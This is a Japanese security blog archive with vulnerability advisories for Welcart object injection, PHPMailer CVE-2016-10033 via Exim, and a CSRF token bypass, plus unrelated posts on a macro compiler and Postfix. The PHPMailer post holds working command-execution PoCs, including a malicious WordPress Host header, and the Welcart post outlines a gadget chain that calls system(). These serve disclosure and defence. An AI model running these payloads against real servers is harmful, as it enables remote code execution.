2017年9月22日金曜日

WordPressのプラグインWelcartにオブジェクトインジェクション脆弱性

エグゼクティブサマリ

WordPress向けの国産カートプラグインであるWelcartにオブジェクトインジェクション脆弱性があることが発表された。この脆弱性により環境依存ながらリモートコード実行の可能性があるため報告する。

はじめに

Welcartは、WordPressをベースにショッピングサイトを構築する際に便利なプラグインで、国産ということもあり日本では非常に多く用いられています。そのWelcartにオブジェクトインジェクションの脆弱性があり、公表されました。
オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグレードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性があります。
Welcart 1.9.4 をリリースしました【脆弱性の修正】より引用
修正の差分は下記となっています。外部入力(クッキー)をデシリアライズしていて、典型的なオブジェクトインジェクションですね。


Welcartのフォーラムを見ると、既に攻撃された旨の報告が上がっています。しかし、私は、Welcartの脆弱性が原因ではないのではないかと疑っています。後述するように、Welcartの脆弱性が攻撃される条件が狭いからです。

オブジェクトインジェクションとは

Welcartのパターンのオブジェクトインジェクションについては、以下の記事で説明しているので参照下さい。
PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる
簡単に説明するとこうです。PHPのunserialize関数に外部由来の値(この場合はクッキー)を処理させると、サーバー内で任意のクラスのオブジェクトを生成することができます。オブジェクトは単なるデータですが、各クラスにはメソッドがあるため、クラス定義によっては外部から注入したオブジェクトのメソッドが実行されるケースがあります。典型的にはデストラクタです。このため、オブジェクトの値を巧妙に調整することにより、既存クラスのデストラクタ経由で、攻撃ができる場合があります。
先のブログ記事では、デストラクタからログ・ファイルを出力していて、オブジェクトのプロパティを調整することにより、ファイル名とログの値を外部から指定することにより、PHPスクリプトを書き込む形で任意コード実行まで行う例を示しています。

リモートコード実行可能なプラグインの組み合わせを探す

前述のように、オブジェクトインジェクション単体でできることは、データとしてのオブジェクトを注入することであり、オブジェクトのメソッドは対象アプリケーションに元々あるものを攻撃に使うことになります。しかも、生成されたオブジェクトから自動的に呼びされるものを使うケースが攻撃の典型的ですので、大雑把に言ってデストラクタが攻撃に使えるかどうかが問題になります。
私がWelcartおよびWordPress本体をざっと確認した範囲では、攻撃に使えそうなデストラクタは見当たりませんでした。先に、被害例が既に報告されているがWelcartの脆弱性が原因ではないのではないかという予想を述べた理由はこれが根拠です。
しかし、一般にWordPressサイトでは多くのプラグインを同時にインストールして用いるケースが多いので、Welcart以外のプラグインで攻撃に使えるものがないかを探すことにしました。WordPressサイトによると、WordPressの公式リポジトリから公開されているプラグインは52,194個あるようですが、その中の「人気のプラグイン」として公開されている1,386個をしらみつぶしに目視確認する方法で、コード実行に悪用できるプラグインを探しました。
まず、私が注目したのは、All-in-One Event Calendarというプラグインです。人気のプラグインとしては95番目で、有効インストール数は10万以上となっています。こちらの、Ai1ec_Shutdown_Controllerクラスのデストラクタは下記のようになっています。

12: class Ai1ec_Shutdown_Controller {
          // 中略
41:   public function __destruct() {
          // 中略
56:       // execute callbacks
57:       foreach ( $this->_callbacks as $callback ) {
58:           call_user_func( $callback );
59:       }
これにより、任意の関数あるいは任意クラスの任意メソッドが呼び出せますが、惜しいことに引数が渡せません。引数なしで悪いことというのは中々できないのでこれ単独では攻撃に使えませんが、デストラクタ以外の引数のないメソッドで、もっと色々なことができるものを探せば、組み合わせで悪いことができます。
以前、Joomla!の脆弱性とされた CVE-2015-8562 に対するPoCでは、この目的のために SimplePie というフィード解析等に用いるクラスのメソッドが悪用されました。そのあたりの解説は以下を御覧ください。
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
WordPressにもSimplePieは同梱されていて、当初これが使える! と思いました。以下のメソッドです。
 448: class SimplePie
 449: {
中略
1242:   public function init()
1243:   {
中略
1306:     if ($this->feed_url !== null)
1307:     {
1308:       $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
1309:
1310:       // Decide whether to enable caching
1311:       if ($this->cache && $parsed_feed_url['scheme'] !== '')
1312:       {
1313:         $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location,
                               call_user_func($this->cache_name_functon, $this->feed_url), 'spc'));
1314:       }

$this->cache_name_functon に関数名、$this->feed_url に引数をセットすればいいので、楽勝じゃん…と思ったのですが、うまく行きません。デバッガで追っかけると、このクラスはWordPressの場合、デフォルトではロードされないのです。
オブジェクトインジェクションで使えるクラスは、対象アプリケーションで元々ロードされているクラスか、オートロードで自動的にロードされるクラスでなければなりません。SimplePieはこの条件に合致しないようです。
SimplePie自体はファイルとしてはあるので、サイトのカスタマイズでSimplePieを呼び出すようにしておけば攻撃に使えますが、ちょっとわざとらしい想定ですので、他の可能性を探ることにしました。
…ということで、SimplePieに代わるクラスを他のプラグインに探すことにしました。すると、ManageWP Workerというプラグインが使えそうでした。有効インストール数は50万以上です。
こちらの MWP_WordPress_HookProxy クラスの hook() メソットが使えます。
20: class MWP_WordPress_HookProxy
21: {
中略
38:     public function hook()
39:     {
40:         call_user_func_array($this->callback, $this->args);
41:     }
このクラスをオブジェクトインジェクションしたところ、元々このクラスは読み込まれていませんでしたが、オートロードでクラス定義が読み込まれました。つまり、攻撃に使えることになります。

実験

プラグインの組み合わせがレアかなと思えるものの、悪用を避けるため、具体的な攻撃コードの公表は控えます。攻撃のおおまかな流れは下記となります。
  • MWP_WordPress_HookProxyインスタンスを生成し、callbackプロパティに関数名、argsプロパティに引数配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスを生成し、_callbacksプロパティに、先のオブジェクトと文字列 "hook"からなる配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスをシリアライズ、パーセントエンコードし、クッキーにセットする
  • Welcart等のプラグインを導入したWordPressサイトを閲覧する
実験では、 pwd > /tmp/pwd というコマンドを実行し、このファイルが生成されていることで任意コード実行を確認しました。この際のMWP_WordPress_HookProxy生成は下記となります。
class MWP_WordPress_HookProxy
{
    private $callback;
    private $args;
    public function __construct() {
        $this->callback = "system";
        $this->args = array("pwd  > /tmp/pwd");
    }
}

影響

影響を受けるサイトは、Welcart 1.9.3以前を導入しているWordPressサイトですが、前述のようにこれだけでは攻撃を受ける可能性は低く、他のプラグインやカスタマイズの状況によっては、任意コード実行の可能性があります。
実験に用いたAll-in-One Event Calendar と ManageWP - Worker はあくまで例ですし、これらに脆弱性があるわけではありません。攻撃を受ける原因は、あくまで Welcart の脆弱性にあります。

対策

対策はWelcartの最新版(本稿執筆時点では 1.9.4)にアップデートすることです。

まとめ

Welcartのオブジェクトインジェクションにより任意コード実行できる可能性について説明しました。オブジェクトインジェクションに関する記事があまりない状況ですので、具体的な事例として参考にしていただければと思います。

私が調べた範囲では、現実のサイトに対する攻撃はかなり限定的であるような印象を受けましたが、短期間での荒い調査ですので、当該のWelcartをお使いのサイトは、至急にアップデートを強く推奨します。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。


【EGセキュアソリューションズ広告】

EGセキュアソリューションズ株式会社では、WordPressを用いたウェブサイトのセキュリティ強化支援サービスを提供しています。詳しくは以下を参照下さい。

WordPressサイトのセキュリティ強化支援 | EGセキュアソリューションズ株式会社

2017年8月30日水曜日

このブログのHTTPS化を試験運用中

このブログはbloggerで運用されており、独自ドメイン下でのHTTPS対応はbloggerの仕様として対応していないのですが、リバースプロキシを立てる方法でHTTPS化してみました。
当面試験運用としますので、不具合などありましたら、twitter等でお知らせ下さい。

2017年8月12日土曜日

秀丸マクロを生成する秀スクリプトという言語処理系を作った

エグゼクティブサマリ

秀スクリプトという小さな言語処理系を開発した。秀スクリプトは、TypeScriptを大幅に縮小した文法を持ち、コンパイラによって秀丸マクロに変換され、秀丸上で実行される。秀スクリプトコンパイラは秀スクリプト自身により記述される。
 秀スクリプトの主な特徴は下記のとおり。
  • TypeScriptに似た文法を持ち、コンパイラも秀スクリプトで記述されている
  • 秀丸マクロを生成し、秀丸上で実行される
  • TypeScript同様、変数に型がある
  • 数値(整数)型と文字列型、これらの配列をサポート
  • if、while、do … whileの制御構造
  • 関数のサポート

はじめに

Windows上で使用するエディタとして長年秀丸を愛用しています。最近はVisual Studio Codeなども人気で、僕もインストールして使ってみたりはするのですが、長年手に馴染んだツールというのは、中々乗り換えが難しいものですね…ということで、普段は、もっぱら秀丸を使います。
秀丸には、秀丸マクロという簡単なマクロ言語があり、機能を追加することができますが、この秀丸マクロがなかなか厄介な代物…もとい、なんと言うか独特の仕様なのでとっつきにくい感じがします。以下は、秀丸マクロで書いたフィボナッチ数値のマクロです。ほら、文章を書いているとたまにフィボナッチ数列を引用したい時、あるでしょ…えっ、ないですか?
#n=1;
while (#n <= 10) {
  call fib #n;
  insert str(##return) + "\n";
  #n = #n + 1;
}
endmacro

fib:
  if (##1 <= 2) {
    return 1;
  }
  call fib ##1 - 2;
  ##temp = ##return;
  call fib ##1 - 1;
  return ##temp + ##return;
ご覧のように、中々独特の構文です。特徴を書いておくと下記のようになります。
  • 変数には型があり、整数型の変数は #foo、文字列型は $bar 等と書く
  • サブルーチンや関数が使える。引数は $$1 や ##1 等と記述する
  • サブルーチンや関数の呼び出しは、call文を用いる
  • ローカル変数が使える。ローカル変数は $$foo、##bar 等と記述する
  • 関数の戻り値は ##return という変数にセットされる
  • 制御構文として、ifやwhileが使える
というわけで、ちょっととっつきにくいですよね。仮に、秀丸マクロがJavaScript風の文法だったら、以下のようになるはずです。
function fib(n) {
  if (n <= 2)
    return 1;
  return fib(n - 2) + fib(n - 1);
}

var x = 1;
while (x <= 10) {
  insert(str(fib(x)) + "\n");
  x = x + 1;
}
うん、この方が分かりやすい…では、いっそ、JavaScript風の言語から秀丸マクロに変換するコンパイラ(トランスレータ、トランスパイラ)を作ってしまえと思い立ちました。

目標を決める

最初、秀丸マクロ使って以下のような簡単なコンパイラを書こうかと思っていたのですが、
  • 秀丸マクロを生成するトランスパイラ型の処理系
  • コンパイラ自体は秀丸マクロで記述
試作しているうちに、どうも秀丸マクロでは作るのが辛いことと、昔Pascalコンパイラを作ったときのように「コンパイラ自体を記述できる」というのが格好いいなと思い始め、以下のように目標を決めました。この言語を「秀スクリプト」と呼ぶことにします。
  • 秀丸マクロを生成するトランスパイラ型の処理系
  • コンパイラ自体を記述できる

ブートストラップ方針を決める

秀スクリプトのコンパイラが、秀スクリプト自身で記述してあるというと、最初の秀スクリプトコンパイラはどうやって作るのだろうという疑問が生まれますよね。この問題のことをブートストラップ問題というそうで、Wikipediaにも記載されています。
秀スクリプトの場合は、以下の戦略が考えられます。
  1. 秀スクリプトを既存言語のサブセットとして定義し、その既存言語のコンパイラでコンパイルする
  2. 最初は秀丸マクロでコンパイラを書き、次に秀スクリプトでコンパイラを書き直す
2は二度手間で面倒なので、できれば 1で行きたいですね。そうなると、既存言語で適当なものがあるかが問題になります。この「既存言語」のことをこれ以降は「親言語」と呼ぶことにします。

親言語を決める

親言語の選定は重要です。秀スクリプトは、その親言語のサブセットになるので、親言語の選定すなわち秀スクリプトの言語仕様を決めることに近いからです。
冒頭でJavaScriptで書けたらいいよね、みたいなことを書きましたが、実際にはJavaScriptから秀丸マクロへのコンパイル(変換)は困難です。なぜなら、秀丸マクロには「変数に型がある」からです。すなわち、冒頭で述べたように整数型の変数は #で始まり、文字列型の変数は $で始まるという仕様なので、どちらの変数を生成するかを決めるには、変数に型宣言をするか、型推論のようなややこしいことをしなければなりません。型推論は手におえないので、型宣言があるスクリプト言語を探すことにしました。
色々な言語を見たのですが、結局TypeScriptに落ち着きました。型のあるJavaScriptという感じで、イメージ通りです。Visual Studio 2017上でTypeScriptでWindowsコンソールアプリを開発する場合は Node.jsが選択される、ということで、生まれて初めてTypeScriptで、生まれて初めてNode.jsで開発することになりました。

秀スクリプトの言語仕様

秀スクリプトの言語仕様については、こちらをご覧ください。
親言語としてTypeScriptの文法を借りているとは言え、機能的にはBASICくらいのものですので、過度な期待はしないでくださいねw
以下は、冒頭で上げたフィボナッチ数列の記述例。概ね、当初の期待通りには書ける、というところですね。

使ってみる

フィボナッチ数列を埋め込むスクリプトを書いてみましょう。数値を秀丸上で選択してスクリプトを実行すると、その数値の個数だけフィボナッチ数列を生成するものです。
function fib(n : number) : number {
  if (n <= 2)
    return 1;
  return fib(n - 2) + fib(n - 1);
}

var x = val(gettext(seltopx(), seltopy(), selendx(), selendy(), 1)); 

var n = 1;
while (n <= x) {
  insertln(fib(n));
  n = n + 1;
}
コンパイル結果は下記となります。見やすいように空白や改行を補って整形しています。
goto _end_fib
fib:
    if (##1 <= 2) {
        return 1;
    }
    call fib  ##1 - 2;
    ##_0 = ##return;
    call fib  ##1 - 1;
    ##_1 = ##return;
    return ##_0 + ##_1;
    return 0;
_end_fib:

#x = val(gettext(seltopx, seltopy, selendx, selendy, 1));
#n = 1;
goto _LL1
_LL0:
    call fib  #n;
    #_0 = ##return;
    insert str(#_0) + "\n";
    #n = #n + 1;
_LL1:
if (#n <= #x) goto _LL0
_LL2:

これを動かしてみましょう。以下は、秀スクリプトのコンパイルから実行の映像です。



…ということで、秀丸を使っていて、文章中にフィボナッチ数列を埋め込む様子をご覧いただきました。

ダウンロード

githubのリポジトリから、Clone or Download▼ ボタンの Download ZIP によりZIPファイルをダウンロードしてください。あるいはリリースページから適当なzipファイルをダウンロードしてください。

hidescript/hidescript フォルダ内の下記のファイルがコンパイラ本体です。

  • hidescript.ts  TypeScript/秀スクリプトで書かれた秀スクリプトコンパイラソース
  • hidescript.js   TypeScriptにより変換された JavaScriptソース
  • hidescript.mac node.js/秀スクリプトによりコンパイルされた秀丸マクロ


使い方

秀スクリプトでソースを書いた後、秀丸マクロに変換するには以下の方法があります。

(1) 秀スクリプトコンパイラをTypeScriptとして解釈してJavaScriptにコンパイルした hidescript.js を Node.js上で動かす。
C:>node hidescript.js foo.hs
(2) 秀スクリプト記述の秀スクリプトコンパイラを自分自身でコンパイルした hidescript.macを用いて、秀丸上でコンパイルする
hidescript.macを秀丸にマクロ登録して、ショートカット等でコンパイラを起動します。実際には、自分自身をコンパイルする際に備えて、hidescript.macをhs.mac等にリネームして登録することをお勧めします。詳しくは、上記の映像をご覧ください。

まとめ

秀スクリプトという秀丸マクロを生成するスクリプト言語を開発しました。秀スクリプトは秀丸マクロの開発を便利にします。秀丸マクロはコンパイル時のチェックが非常に緩く、実行が始まってからさまざまなエラーが出たり、未定義の変数を参照してもエラーにならなかったりしますが、秀スクリプトは変数などの型などを厳密にチェックするからです。
まだ、組み込み関数などの定義が最低限のものしかありませんが、自分で追加することもできるので遊んでみて下さい。

謝辞

秀スクリプトの開発にあたり、秀丸マクロのサブルーチンのネスト回数が20回までという制限が厳しく、サポートフォーラムにて制限の緩和を要望したところ、200回までに緩和いただきました。この仕様緩和で、秀スクリプトを秀丸上でコンパイルできるようになりました。ご担当いただいた「秀丸担当」様、サイトー企画様にあつくお礼申し上げます。ありがとうございました。

2017年7月18日火曜日

Postfix で user+foo@domain 形式のエイリアスを使う方法

Gmail では、user+foo@gmail.com 形式のメールアドレス別名が使えることはご存じの方が多いと思います。すなわち、自分のGmailアドレスが user@gmail.com である場合、user+foo@gmail.com や user+pokemon@gmail.comに送られたメールも、受け取ることができます。
私は個人ではPostfixをMTAとして運用しており、ウェブサービス等に登録するメールアドレスはサービス毎に別のメールアドレスを用いています。Yahoo! には yahoo5412@example.com、Googleには google4813@example.com という具合です(実際のメールアドレスは異なります)。しかし、多くのサービスに登録する場合、一々エイリアスを登録するのも面倒です。
そこで、Postfixでもuser+foo形式のエイリアスが使えないかと思い調べたところ、標準機能でサポートしているのですね。Postfixではこの機能をアドレス拡張(Address Extensions)と呼んでいるようです。
アドレス拡張をPostfixに設定するには、main.cf に下記を指定します。

recipient_delimiter = +

この後Postfixを再起動すると、user+foo@examle.com という形で別名が使えるようになります。fooの部分は任意の文字列(メールアドレスのローカルパートに使える文字であれば)が使用できます。

上記を見てお気づきかと思いますが、デリミタとして使用できる記号は変更可能です。例えば、プラス記号の代わりにドットを使うと、以下のように一見エイリアスとは見えない形にすることもできます。

user.foo@example.com

ここでちょっと悪乗りして、recipient_delimiter に英数字は使えないのかと思い試してみました。

recipient_delimiter = 0

上記のように指定すると、ちゃんと(?) user0foo@example.comというアドレス指定で、user@examle.comのメールボックスに届きました…が、デリミタを英数字にするのはあまりにも紛らわしいので実運用ではやめた方がよさそうですね。

まとめ

  • Postfixでも user+foo@domain 形式のエイリアス(アドレス拡張)が使用できる
  • Postfixでアドレス拡張を用いるには、main.cfのrecipient_delimiterでデリミタを指定する
  • アドレス拡張のデリミタには記号の他、英数字も使えるようだが、英数字はやめた方がよい

2017年5月8日月曜日

PHPMailerの脆弱性CVE-2016-10033はExim4やWordPress4.6でも影響があった

エグゼクティブサマリ

PHPMailerのリモートコード実行脆弱性CVE-2016-10033は、従来MTAとしてsendmailを用いる場合のみ影響があるとされていた。また、WordPressはPHPMailerをバンドルしているが、CVE-2016-10033によるWordPressに対するリモートコード実行攻撃はできないとされていた。しかし、MTAとしてExim4を用いる場合には、PHPMailer単体およびWordPress 4.6からのリモートコード実行が可能であることがわかったので報告する。

はじめに

昨年末に話題となったPHPMailerのリモートコード実行脆弱性CVE-2016-10033ですが、当初公表されていたPoCがsendmailコマンドの -X オプションを用いたものであったため、-X オプションのないMTA(postfix, qmail, exim4等)は直ちに影響はないだろうと見られていました。
Postfixを使っていて、sendmailコマンドの代わりにPostfixのsendmailコマンドを使っている場合は、Postfixのsendmailコマンドが -X オプションを無視するようですので大きな影響を受けないと思います。ただ、別のオプションで違う脆弱性が発生する可能性もあるので、PHPMailerはアップデートしたほうが良いですね。
PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
また、WordPressも内部にPHPMailerをバンドルしているものの、WordPressコアを用いる限りPHPMailerの脆弱性の影響はないと公表されていました。
「WordPress」のコアに存在するファイルにも「PHPMailer」に由来するコードが含まれていることが判明しているが、同問題に対して「WordPress」のセキュリティチーム関係者は、コア部分で提供されている関数「wp_mail()」を利用している限り、今回公開された脆弱性の影響を受けないとコメント。
「PHPMailer」の脆弱性、「WordPress」などでは悪用できずより引用
ところが、実はそうでもなかったことを以下のツイートで知りました。
以下、上記から参照されている記事(2017年5月3日公開)を元に調べた内容を報告します。

Exim のString Expansionによるコード実行

前述のように、従来の攻撃方法(参照)はsendmailの -X オプションを用いることから、sendmail以外のMTAは-Xオプションがなく、攻撃ができないと一般には思われていました。しかし、他の攻撃経路を探し続けている人もいて、新たな攻撃経路が公開されました。それは、Exim4のString Expansionという機能(参照)を用いるものです。元記事には背景等の説明がありますが、いきなり具体例を示しましょう。以下の実行例は、MTAとしてExim4を用いる環境を想定しています。実験には、Ubuntu14.04上のExim4を用いています。
以下は、sendmailコマンド(exim4コマンドにシンボリックリンクされている)の -be オプションを用いて whoami コマンドを実行する例です。
$ sendmail -be '${run{/usr/bin/whoami}}'
ockeghem
以下は、touchコマンドで /tmp/xxxx というファイルを作成する例です。
$ sendmail -be '${run{/usr/bin/touch /tmp/xxxx}}'

PHPMailerからexim4を呼び出す場合のPoC

上記を用いて、PHPMailerの脆弱性を悪用する方法を説明します。従来のPoCとは違って、メールアドレスのコメントを用いる方法が紹介されています。PHPMailerはメールアドレスがRFC5322準拠であることを確認しているので、RFC5322の範囲で攻撃するためにコメントを用いているのです。以下のPoCは、CVE-2016-10033を悪用して ps -f コマンドを実行するものです。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'ockeghem@example.jp';
$from = 'wordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->setFrom($from, 'wordpress');
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '';
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}
実行結果は以下となります。ps -fが実行されていることが分かります。また、sendmailコマンドの起動パラメータも分かり、興味深いですね。
$ php phpmailer.php
UID        PID  PPID  C STIME TTY          TIME CMD
ockeghem  2159  2158  0 12:29 pts/4    00:00:00 -bash
ockeghem  4513  2159  0 21:12 pts/4    00:00:00 php pm.php
ockeghem  4515  4513  0 21:12 pts/4    00:00:00 /usr/sbin/sendmail -t -i [次行に続く]
-fwordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )
ockeghem  4517  4515  0 21:12 pts/4    00:00:00 /bin/ps -f

)
Message has been sent
ところで、PoC中の ${substr{10}{1}{$tod_log}} は何でしょうか? これは、実は空白なのです。-be に渡すパラメータ中に空白があるとString Expansionが2つに分かれてしまうため、見かけ上空白を用いないでPoCを書く必要があります。このため、$tod_log (現在日時)と部分文字列機能を利用して空白を作っています。これらの詳細については、String Expansionのドキュメントを参照下さい。

ということで、MTAとしてEximを用いている場合にも、PHPMailerの脆弱性 CVE-2016-10033の影響があるとが分かりました。

WordPress 4.6からのリモートコード実行PoC

それでは、いよいよWordPress 4.6からのリモートコード実行の説明をしましょう。攻撃には、パスワードリセットの機能を悪用します。以下は、WordPress 4.6 の wp-includes/pluggable.php からの引用です。
if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
        $from_email = 'wordpress@' . $sitename;
}
$from_email がセットされていない場合、環境変数 SERVER_NAME からHostヘッダを参照して、Fromメールアドレスのドメインパートとしています(ローカルパートは wordpress 固定)。この際にホスト名を小文字に変換していることから、従来のPoC(大文字の -Xオプションを用いる)は使用できません。
PHPMailerのCVE-2016-10033脆弱性を悪用するには、Fromヘッダではなく、エンベロープFromをセットする必要がありますが、それは同じファイルの下記で行われます。
$phpmailer->setFrom( $from_email, $from_name );
PHPMailerのsetFromメソッドには、省略可能な第3引数 $auto (デフォルト値は true)があり、trueの場合 FromヘッダとともにエンベロープFromにも $from_email の値をセットします(PHPMailerのリファレンス)。かくして、ホストヘッダ経由で攻撃文字列をエンベロープFromにセットすることができます。
ここで、「ホストヘッダに空白や括弧などが入るのか? ホスト名に用いることのできる文字は厳しく制限されているはずだが?」という疑問を持たれた方も多いと思いますが、現実のApacheの実装ではスラッシュ「/」以外の記号を含む多くの文字を渡すことができます。スラッシュが使えないと攻撃が不自由ですが、空白を作ったのと同様の方法で、下記によりスラッシュを作ることができます。
$ sendmail -be '${substr{0}{1}{$spool_directory}}'
/
ここまで準備をすると、WordPress 4.6への攻撃ができます。以下は、/tmp/testを作成(touch)するPoCです。攻撃文字列は Host ヘッダに入っています。
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

WordPress 4.6以外のバージョンではどうか?

WordPress 4.6とEximが動いている環境ではリモートコード実行ができてしまうというのは衝撃的な内容ですが、それでは他のバージョンは大丈夫でしょうか? 元のドキュメントでは以下のように「対策された4.7.1までのバージョンは影響あるかも」と書いていますが、私の調べた範囲では 4.6 以外では影響はないようです。
The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected.
その理由は、$from_email がエンベロープFromに渡るバージョンが 4.6 だけだからです。
4.5.xまでのWordPressは以下のようになっており、エンベロープFromに値はセットされません。
$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
$phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
4.6.1以降では、以下のようにsetFromメソッドの第3引数に false が明示されるようになりました。従って 4.6.1以降でもエンベロープFromに値はセットされません。
$phpmailer->setFrom( $from_email, $from_name, false );
上記から、WordPress 4.6以外(4.5.x以前、4.6.1以降)では、上記攻撃の影響はないと考えられます。試みにいくつかのバージョン(4.5 / 4.5.3 / 4.6.1 / 4.6.2 / 4.7 / 4.7.1)で試してみましたが、4.6以外では再現しないことを確認しています。

対策

WordPress、PHPMailerのどちらにも言えることですが、ソフトウェアを最新版にバージョンアップすることで対策になります。
HOSTヘッダ経由での攻撃全般に効果のある保険的対策として、「デフォルトのバーチャルホストをダミーとして、本番のバーチャルホストは2番目以降に設定する」方法をお勧めします(参照)。この方法は元々DNSリバインディング対策として拙著で紹介していたものですが、IPアドレスでのサイト閲覧による攻撃(無差別的な攻撃に多い)や、今回紹介したようなHostヘッダに攻撃文字列を入れるタイプの攻撃を無効化します。

まとめ

MTAとしてExim4を用いている場合に、PHPMailerの脆弱性CVE-2016-10033の影響があり、WordPress 4.6を用いている環境でもリモートコード実行ができることを紹介しました。当初、これらは当該脆弱性の影響はないと見られていたものですが、「実は影響があった」ことになります。
このようなケースもままあることですので、トリアージ(脆弱性の緊急度判断)の結果「影響なし」と判断された場合でも、あまり遅くならないタイミングでライブラリやプラットフォームのバージョンアップをしておくことをお勧めします。
Exim4と言えば、DebianのデフォルトMTAですので、特にDebianユーザが影響を受ける可能性が高いと考えられます。といっても、CVE-2016-10033が発表されてから既に4ヶ月以上経過しているので、既にバージョンアップ済みであることを祈りたい気分です。

参考文献



HASHコンサルティング広告

HASHコンサルティング株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | HASHコンサルティング株式会社

2017年4月11日火曜日

teratailに投稿されたメールフォームにCSRF脆弱性が残存した理由

teratailに以下のような投稿がありました。
PHPでメールフォームを作成したので、脆弱性がないかアドバイスいただけないでしょうか。
エンジニアでもなければ、PHPもろくに書けない雑魚ですが、「php メールフォーム 作り方」でググって表示されるサイトを見ると、「んんんんん???」と思うところがあります。
これらを参考にしたり、コピペする方は、記述されているコードの良し悪しは判断できないかと思います。
そのような方々が参考にできるメールフォームを作りたいという思いで、調べて作りました。
周りに書いたコードを確認してもらえる人もいないので、皆様からのアドバイスがほしいです((_ _ (´ω` )ペコ

【PHP】作成したメールフォームに脆弱性がないか、アドバイスもらえないでしょうかより引用
どれどれ…と確認すると、トークンのチェックが入っているにも関わらずクロスサイト・リクエストフォージェリ(CSRF)脆弱性が残存しています。このため、PoC(Proof of Concept)を回答し、CSRF脆弱性があることを指摘しましたが、質問者の学習機会を奪わないためにわざと解説は省きました。本稿では、この脆弱性のメカニズムについて報告します。

処理概要

このメールフォームは、元記事に以下のように書かれているように、典型的な入力・確認・送信の3ステップからなります。
入力(index.php) → 確認(confirm.php) → 送信(send.php) と画面を遷移してメールを送ります。
以下、各ステップの処理概要を示します。

入力(index.php)
  • セッションを開始し、トークンを$_SESSION['token']に格納する
  • 入力フォームを表示する
  • hiddenパラメータtokenにてトークンをPOSTする

確認(confirm.php)
  • トークン$_SESSION['token'] がNULLの場合、空文字列に置き換える
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
  • 入力値をバリデーションし、エラーがなければセッション変数にセットする
  • hiddenパラメータtokenにてトークンをPOSTする

送信(send.php)
  • トークン$_SESSION['token'] がNULLの場合、空文字列に置き換える
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
  • メールアドレスや問い合わせ内容等をセッション変数から取り出す
  • 問い合わせをしたユーザと管理者にメール送信

続いて、CSRF攻撃について検討します。

脅威1: いきなり send.php に外部からPOSTされる

まずは、いきなり送信ページ(send.php)に対してPOSTする場合を考えましょう。この場合、セッション変数は初期化されていないわけですから、$_SESSION['token]はNULLという扱いになりますが、前述のように、この場合$_SESSION['token']は空文字列が入ります。したがって、POSTするトークンとして空文字列を送ってやれば、CSRF対策を回避できます。
しかしながら、問い合わせしたユーザのメールアドレスや問い合わせ内容はセッション変数経由で受け渡しをしているため、いずれもNULLとなります。このためメールも送信されない…わけではなく、管理者向けに内容が空(テンプレートのみ)のメールが送信されます。すごい実害があるわけではありませんが、嫌がらせ程度には使えるかもしれません。
ともあれ、空文字列のトークンでCSRF対策が回避できることは、大きな問題です。

脅威2: confirm.php、send.php に続けてPOSTされる

次の攻撃パターンは、まずconfirm.phpに外部からPOSTし、少し時間をおいてsend.phpにPOSTする攻撃です。
この場合もセッション変数は初期化されていないので、$_SESSION['token]はNULLという扱いになり、send.phpと同じ流れで $_SESSION['token']は空文字列が入ります。したがって、POSTするトークンとして空文字列を送ってやれば、CSRF対策を回避できます。
加えて、問い合わせ内容を攻撃の趣旨に合わせてPOSTすれば、バリデーションを経てセッション変数にセットされます。
後は、脅威1と同じようにsend.phpをPOSTすることで、上記でセットした問い合わせ内容が、被害者のブラウザから送信されることになります。
私のPoCでは、被害者のブラウザから「犯行予告」を問い合わせとして送るようにしましたが、他の悪用もあり得るでしょう。

NULLのトークンを空文字列にしなければ問題ないのか?

confirm.phpとsend.phpではセッション変数のトークンがNULLの場合、空文字列に置き換えています。典型的な「余計なお世話」ですが、これがなければ脆弱とはならないでしょうか。
そうではありません。セッション変数のトークンがNULLなのであれば、POSTするトークン側もNULLにすれば、NULL === NULL でCSRF対策をすり抜けます。具体的には、POSTパラメータtokenを送らないことにより実現可能です。
せっかくトークンのNULLチェックをしていて、トークンがNULLということは正常な遷移ではないわけですから、この時点でエラーとして処理を終了すればCSRF脆弱性は防げました。

対策

前述のように、$_SESSION['token'] のバリデーションでセッション変数のトークンが空でないことを確認すれば脆弱性は防げますが、お勧めしたいのは、以下のステップでもトークンが空でないことを確認することです。
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
